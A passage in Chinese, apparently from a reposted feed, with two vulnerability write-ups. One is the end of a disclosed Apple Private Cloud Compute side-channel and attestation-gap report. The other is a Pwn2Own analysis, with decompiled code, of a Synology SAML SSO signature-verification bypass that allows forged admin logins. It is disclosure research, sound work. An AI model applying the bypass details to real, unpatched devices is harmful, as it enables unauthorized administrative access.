这些字段在节点空闲时不存在，只在处理请求时出现。跨三个请求，它们关联成了干净的分请求聚类，每个都有自己的请求 ID 和自己的块大小。在 Apple 的源码中，bundleID、featureID和 workloadType是生产环境中的请求路由、访问控制和速率限制字段。requestID和 automatedDeviceGroup是分请求关联和设备分组标识符。CloudBoard将渲染后的 PlaintextMetadata描述标记为"不得公开记录"的内容，这进一步增强了我关于影响的主张。

然后我扩大了集合，纳入 Trusted Inference Engine 的发送方，同一通道交出了 token 计数。以下是两个不同长度提示产生下列数字的示例：

输入计数跟随提示长度变化，这证实了该指标测量的是分词。还有更多内容，例如逐 token 计时、揭示投机解码的 draft-token 计数以及模型身份。所有这些都是有趣的观察，使 PCC 暴露于侧信道攻击的种种可能。

证明缺口

我在同一实例的三次启动中运行了一次受 nonce 控制的比较。我使用了两个来自无遍历条目的对照 tar 的干净启动，以及一个来自相同包外加遍历条目的被投毒启动。我事先确认了两个 tar 之间的 .cxbd包内容逐字节相同，然后对证明包做了 diff。

Apple 自己的验证器 pccvre attestation verify在我尝试的每个层面上都以相同方式对待两个包。看来 PCC 的证明测量的是已安装的软件。那些在运行时驱动守护进程行为的可写数据卷文件似乎不属于验证过程的一部分。证明证明的是安装了哪些软件，而非节点上各种配置文件是否完整。在我能检查的每个与证明相关的字段中，被投毒节点在验证过程中与干净节点无法区分。

为何现在这很重要

Private Cloud Compute 作为 Apple Intelligence 功能的核心组件正变得日益重要。在 2026 年 6 月的 WWDC 上，Apple 推出了一款重建的能力更强的助手 Siri AI，作为下一代 Apple Intelligence 的一部分，测试版计划于 2026 年晚些时候推出。Apple 的公开资料称，Apple Intelligence 较大型的服务器端模型运行在 Private Cloud Compute 中，Apple 将其描述为将 Apple 设备的安全与隐私扩展到云端。

披露

从核心上看，这是一个存在了三十年之久的漏洞类别，与 Zip Slip、CVE-2007-4559 和 CWE-22 属于同一类，但这恰恰表明，保护整个推理流水线和环境与保护模型本身同样重要。

我通过负责任披露向 Apple 报告了 CVE-2026-20685。所有工作都在 Apple 的 Virtual Research Environment 内部完成——这是 Apple 为 PCC 安全研究提供的官方工具，没有对生产基础设施进行任何测试。

Apple 将该问题评级为信息泄露（CVSS 6.5，向量 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N），并在 PCC 5E290.3 及后续版本中予以解决。Apple 验证了该报告，并在 Apple Security Bounty 计划下认可了它，授予 $150,000 奖金。

与 Apple 的产品安全团队合作是一种真正的乐趣。他们从一开始就认真对待这份报告，并直接参与技术细节的讨论。我要感谢他们，也感谢 Apple 构建了一个既服务于研究人员又服务于其优秀产品的研究环境。

Drinor Selmanaj是 Sentry 的创始人兼 CTO，也是 NYU Tandon 工程学院网络安全专业的硕士生。

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

在从未启用 SAML SSO 的 Synology DS925+ 上，配置缺失导致 verifyMode 默认为空字符串，完全跳过签名验证，攻击者可伪造 SAML Response 以域管理员身份登录并实现 RCE。

2026 年 6 月 11 日

I. 故事

那次能参加 Pwn2Own 对我来说多少有些运气成分：我在报名截止日期前刚好发现了漏洞并绕过了参赛要求。刚开始挖洞时，我对 pwn 一无所知，所以和朋友（@ngocquy0307）合作，请他在过程中帮忙——逆向那些我看不懂的代码部分，同时确保我们没有遗漏任何 pwn 漏洞。至于我，则决定专注于逻辑漏洞。

就在比赛前不久，我碰巧在一个小型 Microsoft 插件中发现了一个 SSO 绕过漏洞。不知为什么我有一种直觉——就像祖先在指引我一样——所以当我开始审计时，我决定把 SSO 作为第一个目标。幸运的是，这个应用的 SAML SSO 确实存在漏洞。

在整个挖洞过程中，我们没有使用任何 AI。

II. 分析

SYNOPAMSSO::samlAuth 工作流程

SYNOPAMSSO::samlAuth函数处理用户通过 SAML SSO 登录时的逻辑。

intsamlAuth(const std::string& samlResponseB64, std::string& outUser)
{
    SYNO::SSO::SSOSAMLClient client;    // [1]
    std::string resp = samlResponseB64;
for (char& c : resp)
if (c == ' ')
            c = '+';
    client.VerifySamlResponse(resp);    // [2]
const std::string& samlUser = client.m_nameId;
char realName[1024] = {0};
if (SLIBUserRealNameGet(samlUser.c_str(), realName, sizeof realName) < 0) {
syslog(LOG_ERR, "%s:%d no such user: %s",
"saml_auth.cpp", 30, samlUser.c_str());
return2;
    }
if (strcasecmp(samlUser.c_str(), realName) != 0) {
syslog(LOG_ERR, "%s:%d username not match:  %s, %s",
"saml_auth.cpp", 34, samlUser.c_str(), realName);
return2;
    }
bool qualified = std::strchr(samlUser.c_str(), '\\')
                  || std::strchr(samlUser.c_str(), '@');
if (!qualified && !client.m_allowLocalUser) {     // [3]
syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
"saml_auth.cpp", 40, samlUser.c_str(), realName);
return2;
    }
    outUser = samlUser;
return0;
}

__int64 __fastcall SYNOPAMSSO::samlAuth(std::string *samlRes, std::string *outUser)
{// [...]
  std::string nameID; // [rsp+40h] [rbp-600h] BYREF
  _BYTE v28[248]; // [rsp+60h] [rbp-5E0h] BYREF
  __int64 v29; // [rsp+158h] [rbp-4E8h]
  __int64 v30; // [rsp+160h] [rbp-4E0h]// [...]
SYNO::SSO::SSOSAMLClient::SSOSAMLClient((SYNO::SSO::SSOSAMLClient *)v28); // [1]
  data = samlRes->data;
  size = samlRes->size;
  v24 = (std::string *)v26;
memset(v32, 0, sizeof(v32));
string::string(&v24, data, &data[size]);   // basic_string<char>::_M_construct
  v4 = v24;
for ( i = (std::string *)((char *)v24 + v25); i != v4; v4 = (std::string *)((char *)v4 + 1) )
  {
if ( LOBYTE(v4->data) == 32 )
LOBYTE(v4->data) = 43;
  }
SYNO::SSO::SSOSAMLClient::VerifySamlResponse(v28, &v24, 0.0); //  [2]
  nameID.data = nameID.local_str;
string::string(&nameID, v29, v29 + v30);
  v6 = SLIBUserRealNameGet(nameID.data, v32, 1024LL);
if ( nameID.data != nameID.local_str )
operatordelete(nameID.data, *(_QWORD *)nameID.local_str + 1LL);
  nameID.data = nameID.local_str;
  v7 = v29 + v30;
if ( v6 < 0 )
  {
string::string(&nameID, v29, v7);
__syslog_chk(3LL, 2LL, "%s:%d no such user: %s", "saml_auth.cpp", 30, nameID.data);
goto LABEL_34;
  }
string::string(&nameID, v29, v7);
  v8 = (std::string *)nameID.data;
  v9 = strcasecmp(nameID.data, (constchar *)v32);
if ( v8 != (std::string *)nameID.local_str )
operatordelete(v8, *(_QWORD *)nameID.local_str + 1LL);
  nameID.data = nameID.local_str;
  v10 = v29 + v30;
if ( v9 )
  {
string::string(&nameID, v29, v10);
__syslog_chk(3LL, 2LL, "%s:%d username not match:  %s, %s", "saml_auth.cpp", 34, nameID.data, (constchar *)v32);
goto LABEL_34;
  }
string::string(&nameID, v29, v10);
  v11 = nameID.data;
if ( nameID.data )
  {
    s = nameID.data;
    v11 = nameID.data;
    v12 = strchr(nameID.data, 92);
    v13 = 2LL;
if ( !v12 )
    {
      v11 = (char *)s;
      v13 = strchr(s, 64) == 0LL ? 1 : 8;
    }
if ( v11 == nameID.local_str )
goto LABEL_15;
  }
else
  {
LODWORD(v13) = 0;
  }
  sa = v13;
operatordelete(v11, *(_QWORD *)nameID.local_str + 1LL);
  v13 = sa;
LABEL_15:
  nameID.data = nameID.local_str;
if ( v31 || (v14 = 260LL, _bittest64(&v14, v13)) )
  {
string::string(&nameID, v29, v29 + v30);
    local_str = (std::string *)outUser->data;
if ( nameID.data == nameID.local_str )
    {
      v19 = nameID.size;
if ( nameID.size )
      {
if ( nameID.size == 1 )
LOBYTE(local_str->data) = nameID.local_str[0];
else
memcpy(local_str, nameID.local_str, nameID.size);
        v19 = nameID.size;
        local_str = (std::string *)outUser->data;
      }
      outUser->size = v19;
      *((_BYTE *)&local_str->data + v19) = 0;
      local_str = (std::string *)nameID.data;
goto LABEL_21;
    }
if ( local_str == (std::string *)outUser->local_str )
    {
      v20 = _mm_loadu_si128((const __m128i *)&nameID.size);
      outUser->data = nameID.data;
      *(__m128i *)&outUser->size = v20;
    }
else
    {
      v16 = _mm_loadu_si128((const __m128i *)&nameID.size);
      v17 = *(_QWORD *)outUser->local_str;
      outUser->data = nameID.data;
      *(__m128i *)&outUser->size = v16;
if ( local_str )
      {
        nameID.data = (char *)local_str;
        *(_QWORD *)nameID.local_str = v17;
goto LABEL_21;
      }
    }
    nameID.data = nameID.local_str;
    local_str = (std::string *)nameID.local_str;
LABEL_21:
    nameID.size = 0LL;
LOBYTE(local_str->data) = 0;
if ( nameID.data != nameID.local_str )
operatordelete(nameID.data, *(_QWORD *)nameID.local_str + 1LL);
goto LABEL_23;
  }
string::string(&nameID, v29, v29 + v30);
__syslog_chk(3LL, 2LL, aSDUserIsLocalS_0, "saml_auth.cpp", 40LL, nameID.data, v32);
LABEL_34:
if ( nameID.data != nameID.local_str )
operatordelete(nameID.data, *(_QWORD *)nameID.local_str + 1LL);
  v9 = 2;
LABEL_23:
if ( v24 != (std::string *)v26 )
operatordelete(v24, v26[0] + 1LL);
SYNO::SSO::SSOSAMLClient::~SSOSAMLClient((SYNO::SSO::SSOSAMLClient *)v28);
return v9;
}

该函数执行两个主要任务：首先初始化 SAML 客户端 1，然后使用它验证 SAML 响应 2。整个 SAML 验证逻辑都在 verifySamlResponse内部完成。

1SSOSAMLClient 构造函数

SSOSAMLClient():  (构造函数 — 将 SAML 配置加载到客户端)
  字段（默认均初始化为空/false）:
    idpIssuerUrl, acsUrl, idpEntityId, nameidFormat, name,
    verifyMode, configPath, certPath, matchLocalUser
  1. 将 /usr/syno/etc/ssoclient/saml.conf 读取到 JsonValue 中
     └─ 读取失败 → 提前返回，所有字段保持默认值
  2. 将解析后的 JSON 存储在基础 JsonValue 中（以便调用者可以查看原始配置）
  3. 从配置中提取各个字段（缺失时各自回退到默认值）:
       • idpIssuerUrl   ← config["saml_idp_issuer_url"]       or ""
       • acsUrl         ← config["saml_acs_url"]              or ""
       • idpEntityId    ← config["saml_idp_entity_id"]        or ""
       • name           ← config["saml_name"]                 or ""
       • matchLocalUser ← config["saml_match_local_user"]     or false
       • verifyMode     ← config["saml_response_signature"]   or "response"
  4. 用硬编码常量覆盖（这些字段的配置值将被忽略）:
       • nameidFormat = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
       • configPath   = "/usr/syno/etc/ssoclient/saml.conf"
       • certPath     = "/usr/syno/etc/ssoclient/saml_cert.ca"

classSSOSAMLClient : publicJson::Value {        
public:
SSOSAMLClient();
boolreadSAMLConfig(Json::Value& out);
    std::string idpIssuerUrl;     
    std::string acsUrl;           
    std::string idpEntityId;      
    std::string nameidFormat;     
    std::string name;             
    std::string mNameId;         
    std::string verifyMode;       
    std::string configPath;       
    std::string certPath;         
bool        matchLocalUser;   
};
SSOSAMLClient::SSOSAMLClient()
    : Json::Value(Json::nullValue)   
    , matchLocalUser(false)          
{
    Json::Value config(Json::nullValue);
if (!readSAMLConfig(config))
return;                      
    *static_cast<Json::Value*>(this) = config;
    idpIssuerUrl   = JsGetStr(config, "saml_idp_signin_url");
    acsUrl         = JsGetStr(config, "saml_acs_url");
    idpEntityId    = JsGetStr(config, "saml_idp_entity_id");
    name           = JsGetStr(config, "saml_name");
    matchLocalUser = JsGetBool(config, "saml_allow_local_user", false);
    verifyMode     = JsGetStr(config, "saml_response_signature");
    nameidFormat   = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified";
    configPath     = "/usr/syno/etc/ssoclient/saml.conf";
    certPath       = "/usr/syno/etc/ssoclient/saml_cert.ca";
}
boolSSOSAMLClient::readSAMLConfig(Json::Value& out)
{
staticconstchar* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    RunAs guard(0, 0, "sso_saml.cpp", 494);
if (SLIBCFileExist(kConfPath)) {
if (SLIBCFileExist(kConfPath) == 1) {
if (!out.fromFile(kConfPath)) {
syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
throwstd::runtime_error("failed to load json file");
            }
        }
if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
returntrue;
    }
    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
returnfalse;
}

2verifySamlResponse

verifySamlResponse(samlResponseB64):
  1. 初始化 OpenSAML，然后初始化 Xerces
     └─ 初始化失败 → 抛出 "SAMLConfig::getConfig().init failed"
  2. Base64 解码载荷
     └─ 解码失败 → 抛出 "decoded Fail"
  3. 将 XML 解析为 DOM，然后构建类型化 XMLObject 树
     └─ doc 为 null     → 抛出 "doc is null"
     └─ object 为 null  → 抛出 "source is null"
  4. 如果 SSOSAMLClient.verifyMode ∈ {response, both}: 验证 <Response> 签名
     └─ 不是 SignableObject → 抛出 "signable is null"
     └─ 无 <Signature>       → 抛出 "getSignature is null"
     └─ 签名无效    → 抛出（在 SAML_verifySignature 内部，例如
                                "resolve fail" / "certificate can't be verified"）
  5. 消息必须是 samlp:Response
     └─ 不是 Response → 抛出 "message was not a samlp:Response"
  6. Status 必须为 Success
     └─ Status 为 null，或 StatusCode 为 null，或 value ≠ ...:status:Success
        → 抛出 "attribute authority returned a SAML error"
  7. 对 Response 进行 Schema 验证
  8. Response 的 Issuer 必须匹配 idpEntityId
     └─ Issuer 缺失  → 抛出 "issuer is null"
     └─ 不匹配  → 抛出 "issuer does not match: <value>"
     └─ 匹配         → 日志(debug) "issuer: <idpEntityId>:<value>"
  9. 必须包含至少一个 <Assertion>
     └─ 为空 → 抛出 "resolve is empty"
 10. 按顺序遍历 Assertions，取第一个通过以下所有检查的：
       a. 如果 SSOSAMLClient.verifyMode ∈ {assertion, both}: 验证 Assertion 的签名。
          └─ 失败时 SAML_verifySignature 抛出异常（中止整个调用；
             这不是跳过 — 后面的 assertions 永远不会到达）。
       b. 跳过此 assertion（仅记录日志，不抛出 → 继续到下一个）如果：
           - Subject 缺失                                → 日志 "subject is null"
           - Issuer 缺失                                 → 日志 "assert issuer is null"
           - Issuer ≠ idpEntityId                           → 日志 "issuer does not match: <value>"
           - <Conditions> 存在且 now <  NotBefore      → 日志 "Assertion is not yet valid."
           - <Conditions> 存在且 now ≥  NotOnOrAfter   → 日志 "Assertion is no longer valid."
          （如果 Assertion 没有 <Conditions> 元素，有效期窗口
           不被强制执行。）
       c. 否则所有检查通过：
           - nameId = Subject 的 NameID 的 trimmed 文本
           - 停止 — 第一个匹配的 assertion 胜出；剩余 assertions
             被忽略（二进制在此处跳出循环）。
          （NameID 被无条件读取且不做 null 检查：缺失的
           NameID 不是跳过条件。）
 11. nameId 不能为空
     └─ 为空 → 抛出 "nameId is empty"   （没有 assertion 通过所有检查）
 12. 清理：删除对象树，销毁输入源，
     然后 SAMLConfig.term()

longSSOSAMLClient::VerifySamlResponse(const std::string& samlResponseB64)
{// --- 1. 初始化 OpenSAML，然后初始化 Xerces。 -------------------------------
    opensaml::SAMLConfig& saml = opensaml::SAMLConfig::getConfig();
if (!saml.init(/*initXMLTooling=*/true))
throwstd::runtime_error("SAMLConfig::getConfig().init failed");
xercesc::XMLPlatformUtils::Initialize();// --- 2. Base64 解码载荷。 --------------------------------------
    XMLSize_t decodedLen = 0;
    XMLByte*  decoded    = xercesc::Base64::decode(
reinterpret_cast<const XMLByte*>(samlResponseB64.data()), &decodedLen);
if (!decoded)
throwstd::runtime_error("decoded Fail");// --- 3. 将 XML 解析为 DOM，然后构建类型化 XMLObject 树。 -----
    xercesc::MemBufInputSource   membuf(decoded, decodedLen, "SAMLResponse", true);
    xercesc::Wrapper4InputSource source(&membuf, false);
    xercesc::DOMDocument* doc =
xmltooling::XMLToolingConfig::getConfig().getParser().parse(source);
if (!doc)
throwstd::runtime_error("doc is null");
    xmltooling::XMLObject* object =
xmltooling::XMLObjectBuilder::buildOneFromElement(
            doc->getDocumentElement(), true);
if (!object)
throwstd::runtime_error("source is null");// --- 4. 如果 verifyMode 为 "response" 或 "both"，验证 <Response>//        签名。 -------------------------------------------------------
if (this->verifyMode == "response" || this->verifyMode == "both") {
auto* signable = dynamic_cast<xmltooling::SignableObject*>(object);
if (!signable)
throwstd::runtime_error("signable is null");
if (!signable->getSignature())
throwstd::runtime_error("getSignature is null");
verifySignature(signable->getSignature());
    }// --- 5. 消息必须是 samlp:Response。 ---------------------------
auto* response = dynamic_cast<opensaml::saml2p::Response*>(object);
if (!response)
throwstd::runtime_error("message was not a samlp:Response");// --- 6. SAML 状态必须为 "Success"。null 的 Status、null 的//        StatusCode，或任何非 SUCCESS 的值都抛出相同的错误。
    opensaml::saml2p::Status* status = response->getStatus();
if (!status
        || !status->getStatusCode()
        || !xercesc::XMLString::equals(status->getStatusCode()->getValue(),
                                       opensaml::saml2p::StatusCode::SUCCESS))
throwstd::runtime_error("attribute authority returned a SAML error");// --- 7. 对 Response 进行 Schema 验证。 -----------------------------------
    xmltooling::SchemaValidators.validate(response);// --- 8. Response 的 Issuer 必须匹配配置的 IdP entity id。 -----
if (!response->getIssuer())
throwstd::runtime_error("issuer is null");
char* issuerUtf8 = xercesc::XMLString::transcode(
        response->getIssuer()->getTextContent());
if (!issuerUtf8)
throwstd::logic_error("basic_string: construction from null is not valid");
xercesc::XMLString::trim(issuerUtf8);
    std::string issuer(issuerUtf8);
xercesc::XMLString::release(&issuerUtf8);
if (issuer != this->idpEntityId)
throwstd::runtime_error("issuer does not match: " + issuer);
syslog(LOG_DEBUG, "%s:%d issuer: %s:%s", "sso_saml.cpp", 377,
           idpEntityId.c_str(), issuer.c_str());// --- 9. 必须包含至少一个 <Assertion>。 -------------------------
const std::vector<opensaml::saml2::Assertion*>& assertions =
        response->getAssertions();
if (assertions.empty())
throwstd::runtime_error("resolve is empty");// --- 10. 从第一个通过所有检查的 Assertion 中取 NameID。//         失败的检查仅记录日志（不抛出），然后移到下一个//         assertion。 ---------------
for (opensaml::saml2::Assertion* assertion : assertions) {// 10a. 可选的逐 assertion 签名检查。
if (this->verifyMode == "assertion" || this->verifyMode == "both")
verifySignature(assertion->getSignature());// 10b. Subject 必须存在。
        opensaml::saml2::Subject* subject = assertion->getSubject();
if (!subject) {
syslog(LOG_ERR, "%s:%d subject is null", "sso_saml.cpp", 394);
continue;
        }// 10c. Issuer 必须存在。
if (!assertion->getIssuer()) {
syslog(LOG_ERR, "%s:%d assert issuer is null", "sso_saml.cpp", 399);
continue;
        }// 10d. Assertion 的 Issuer 文本必须匹配配置的 IdP entity id。//      （内联的 getTextContent + transcode + trim -> std::string）
char* aIssuerUtf8 = xercesc::XMLString::transcode(
            assertion->getIssuer()->getTextContent());
if (!aIssuerUtf8)
throwstd::logic_error("basic_string: construction from null is not valid");
xercesc::XMLString::trim(aIssuerUtf8);
        std::string assertionIssuer(aIssuerUtf8);
xercesc::XMLString::release(&aIssuerUtf8);
if (assertionIssuer != this->idpEntityId) {
syslog(LOG_ERR, "%s:%d issuer does not match: %s", "sso_saml.cpp",
406, assertionIssuer.c_str());
continue;
        }// 10e. 如果 <Conditions> 存在，强制执行有效期窗口。
if (opensaml::saml2::Conditions* cond = assertion->getConditions()) {
time_t now = time(nullptr);
if (now < cond->getNotBefore()) {
syslog(LOG_ERR, "%s:%d Assertion is not yet valid.",
"sso_saml.cpp", 413);
continue;
            }
if (now >= cond->getNotOnOrAfter()) {
syslog(LOG_ERR, "%s:%d Assertion is no longer valid.",
"sso_saml.cpp", 418);
continue;
            }
        }// 10f. 所有检查通过：此 assertion 的 NameID 即为用户。停止。//      （内联的 getTextContent + transcode + trim -> std::string）
char* nameIdUtf8 = xercesc::XMLString::transcode(
            subject->getNameID()->getTextContent());
if (!nameIdUtf8)
throwstd::logic_error("basic_string: construction from null is not valid");
xercesc::XMLString::trim(nameIdUtf8);
        m_nameId = nameIdUtf8;
xercesc::XMLString::release(&nameIdUtf8);
break;
    }// --- 11. 必须已提取到用户。 -------------------------------
if (m_nameId.empty())
throwstd::runtime_error("nameId is empty");// --- 12. 清理。 ------------------------------------------------------
delete object;          
returnopensaml::SAMLConfig::getConfig().term(true);
}

__int64 __fastcall SYNO::SSO::SSOSAMLClient::VerifySamlResponse(__int64 a1, _QWORD *a2)
{// [...]
  Config = opensaml::SAMLConfig::getConfig((opensaml::SAMLConfig *)a1);
if ( !(*(unsigned__int8 (__fastcall **)(__int64, __int64))(*(_QWORD *)Config + 16LL))(Config, 1LL) )
  {// [...]
  }
xercesc_3_2::XMLPlatformUtils::Initialize(off_61C08, 0LL, 0LL, 0LL);
  v14 = xercesc_3_2::Base64::decode(*a2, &v91, 0LL, 0LL);
if ( !v14 )
  {// [...]
  }
  v15 = (char **)xercesc_3_2::XMLPlatformUtils::fgMemoryManager; // xercesc_3_2::XMLPlatformUtils::fgMemoryManager 未设置 -> null
xercesc_3_2::MemBufInputSource::MemBufInputSource(v99, v14, v91, "SAMLResponse", 1LL, *(_QWORD *)xercesc_3_2::XMLPlatformUtils::fgMemoryManager);
xercesc_3_2::Wrapper4InputSource::Wrapper4InputSource(v98, v99, 0LL, *v15);
  v16 = xmltooling::XMLToolingConfig::getConfig((xmltooling::XMLToolingConfig *)v98);
  v17 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v16 + 64LL))(v16); // xmltooling::XMLToolingInternalConfig::getParser() const
  v18 = xmltooling::ParserPool::parse(v17, v98);
if ( !v18 )
  {// [...]
  }
  v92 = v18;
  v19 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v18 + 104LL))(v18); // non-virtual thunk to xercesc_3_2::DOMDocumentImpl::getDocumentElement() const
  lpsrc = (void *)xmltooling::XMLObjectBuilder::buildOneFromElement(v19, 1LL);
  v93 = lpsrc;
  v92 = 0LL;
if ( !lpsrc )
  {// [...]
  }
  v89 = a1 + 280;
if ( !(unsignedint)std::string::compare(a1 + 280, "response") || !(unsignedint)std::string::compare(v89, "both") ) // 检查 verifyMode
  {
    v20 = lpstype;
    v21 = __dynamic_cast(lpsrc, lpstype, off_61D98, -1LL);
    v22 = v21;// [...]
    v23 = (*(__int64 (__fastcall **)(void *))(*(_QWORD *)v22 + 240LL))(v22);
sub_3CFF0(v23); // 验证签名
  }
else
  {
    v20 = lpstype;
  }
  v24 = (char *)__dynamic_cast(lpsrc, v20, off_61E90, -1LL);
  v25 = v24;
if ( !v24 )
  {// [...]
  }
if ( !(*(__int64 (__fastcall **)(char *))(*(_QWORD *)&v24[*(_QWORD *)(*(_QWORD *)v24 - 472LL)] + 416LL))(&v24[*(_QWORD *)(*(_QWORD *)v24 - 472LL)]) ) // virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const
goto LABEL_94;
  v26 = (*(__int64 (__fastcall **)(char *))(*(_QWORD *)&v25[*(_QWORD *)(*(_QWORD *)v25 - 472LL)] + 416LL))(&v25[*(_QWORD *)(*(_QWORD *)v25 - 472LL)]); // virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const
if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v26 + 280LL))(v26) ) // virtual thunk to opensaml::saml2p::StatusImpl::getStatusCode() const
goto LABEL_94;
  v27 = (*(__int64 (__fastcall **)(char *))(*(_QWORD *)&v25[*(_QWORD *)(*(_QWORD *)v25 - 472LL)] + 416LL))(&v25[*(_QWORD *)(*(_QWORD *)v25 - 472LL)]); // virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const
  v28 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v27 + 280LL))(v27); // virtual thunk to opensaml::saml2p::StatusImpl::getStatusCode() const
  v29 = (__int16 *)(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v28 + 248LL))(v28); // virtual thunk to opensaml::saml2p::StatusCodeImpl::getValue() const// [...]
xmltooling::ValidatorSuite::validate(off_61BF8, &v25[*(_QWORD *)(*(_QWORD *)v25 - 256LL)]);
if ( !(*(__int64 (__fastcall **)(char *))(*(_QWORD *)&v25[*(_QWORD *)(*(_QWORD *)v25 - 328LL)] + 288LL))(&v25[*(_QWORD *)(*(_QWORD *)v25 - 328LL)]) ) // virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getIssuer() const
  {// [...] 错误
  }
  v33 = (_QWORD *)(*(__int64 (__fastcall **)(char *))(*(_QWORD *)&v25[*(_QWORD *)(*(_QWORD *)v25 - 328LL)] + 288LL))(&v25[*(_QWORD *)(*(_QWORD *)v25 - 328LL)]); // virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getIssuer() const
  v34 = (char *)v33
      + *(_QWORD *)(*v33 - 336LL)
      + *(_QWORD *)(*(_QWORD *)((char *)v33 + *(_QWORD *)(*v33 - 336LL)) - 256LL);
  issue_content = (*(__int64 (__fastcall **)(char *, _QWORD))(*(_QWORD *)v34 + 152LL))(v34, 0LL); // virtual thunk to xmltooling::AbstractSimpleElement::getTextContent(unsigned int) const
  v36 = *v15;
  _issue_content = (char *)xercesc_3_2::XMLString::transcode(v35, *v15);
  s = _issue_content;
if ( !_issue_content )
  {
    s2 = v102;
LABEL_102:
std::__throw_logic_error("basic_string: construction from null is not valid");
  }
xercesc_3_2::XMLString::trim((xercesc_3_2::XMLString *)_issue_content, v36); // trim(issuer, "")
  v38 = s;// std::string s2 = string::string(_issue_content = s, strlen(_issue_content))
  v42 = s2.data;
  v43 = (constchar *)a1[15]; // 获取 issuer 配置大小
  v44 = a1[16]; // 从配置获取 issuer
if ( v44 != s2.size// 检查大小
    || v44 && (v88 = (constvoid *)a1[15], v45 = memcmp(v88, s2.data, v44), v43 = (constchar *)v88, v45) ) // 比较 issuer 配置与 samlres
  {// [...]
  }
  v46 = (*(__int64 (__fastcall **)(char *, __int64))(*(_QWORD *)v25 + 448LL))(v25, 2LL);
  v47 = *(_QWORD **)v46;
  v86 = *(_QWORD **)(v46 + 8);
if ( *(_QWORD **)v46 == v86 )
  {// [...]
  }
while ( 1 )
  {
if ( !(unsignedint)std::string::compare(v89, "assertion") || !(unsignedint)std::string::compare(v89, "both") )
    {
      v48 = *(_QWORD *)(*(_QWORD *)*v47 - 304LL) + *v47;
      v49 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v48 + 240LL))(v48);
sub_3CFF0(v49); // 验证签名
    }// 相同流程
    v50 = (*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)*v47 + 352LL))(*v47);
if ( !v50 )
    {
__syslog_chk(3LL, 2LL, "%s:%d subject is null", "sso_saml.cpp", 394);
goto LABEL_44;
    }
    v51 = *(_QWORD *)(*(_QWORD *)*v47 - 328LL) + *v47;
    v52 = (_QWORD *)(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v51 + 288LL))(v51);
if ( v52 )
break;
__syslog_chk(3LL, 2LL, "%s:%d assert issuer is null", "sso_saml.cpp", 399);
LABEL_44:
if ( v86 == ++v47 )
goto LABEL_45;
  }
  v53 = (char *)v52
      + *(_QWORD *)(*v52 - 336LL)
      + *(_QWORD *)(*(_QWORD *)((char *)v52 + *(_QWORD *)(*v52 - 336LL)) - 256LL);
  v54 = (*(__int64 (__fastcall **)(char *, _QWORD))(*(_QWORD *)v53 + 152LL))(v53, 0LL);
  v55 = *v15;
  v56 = (char *)xercesc_3_2::XMLString::transcode(v54, *v15);
  v95 = v56;// [...]
xercesc_3_2::XMLString::trim((xercesc_3_2::XMLString *)v56, v55);
  v57 = v95;// 获取 issuer 并检查
  v61 = (constchar *)v103;
  v62 = *(_QWORD *)(a1 + 128);
if ( v62 != v104 || v62 && memcmp(*(constvoid **)(a1 + 120), v103, v62) )
  {// [...]
  }
if ( !(*(__int64 (__fastcall **)(_QWORD))(*(_QWORD *)*v47 + 368LL))(*v47) ) // virtual thunk to opensaml::saml2::AssertionImpl::getConditions() const
goto LABEL_58; // 跳转// [...]
LABEL_58:
  v68 = (_QWORD *)(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v50 + 264LL))(v50); // virtual thunk to opensaml::saml2::SubjectImpl::getNameID() const
  v69 = (char *)v68
      + *(_QWORD *)(*v68 - 336LL)
      + *(_QWORD *)(*(_QWORD *)((char *)v68 + *(_QWORD *)(*v68 - 336LL)) - 256LL);
  v70 = (*(__int64 (__fastcall **)(char *, _QWORD))(*(_QWORD *)v69 + 152LL))(v69, 0LL); // virtual thunk to xmltooling::AbstractSimpleElement::getTextContent(unsigned int) const
  v71 = *v15;
  v72 = (char *)xercesc_3_2::XMLString::transcode(v70, *v15);
  v96 = v72;
if ( !v72 )
  {
    v106 = &src.m128i_u64[1];
LABEL_100:
std::__throw_logic_error("basic_string: construction from null is not valid");
  }
xercesc_3_2::XMLString::trim((xercesc_3_2::XMLString *)v72, v71);
  v73 = v96;// std::string src = string::string(nameID, len(nameID))// a1+248 = nameID, a1+256 = size// [...]
  v63 = opensaml::SAMLConfig::getConfig((opensaml::SAMLConfig *)v99);
return (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)v63 + 24LL))(v63, 1LL);
}

通读上面的伪代码和代码片段后，你可能已经注意到 SAML SSO 功能中应用逻辑的缺陷了。现在让我们深入分析。

通过 SAML SSO 绕过身份验证

在 verifySamlResponse函数内部，当在第 4 步和第 10a 步检查签名时，

longSSOSAMLClient::VerifySamlResponse(const std::string& b64Response)
{
	[...]
if (this->verifyMode == "response" || this->verifyMode == "both") {
auto* signable = dynamic_cast<xmltooling::SignableObject*>(src);
if (!signable)
throwstd::runtime_error("signable is null");
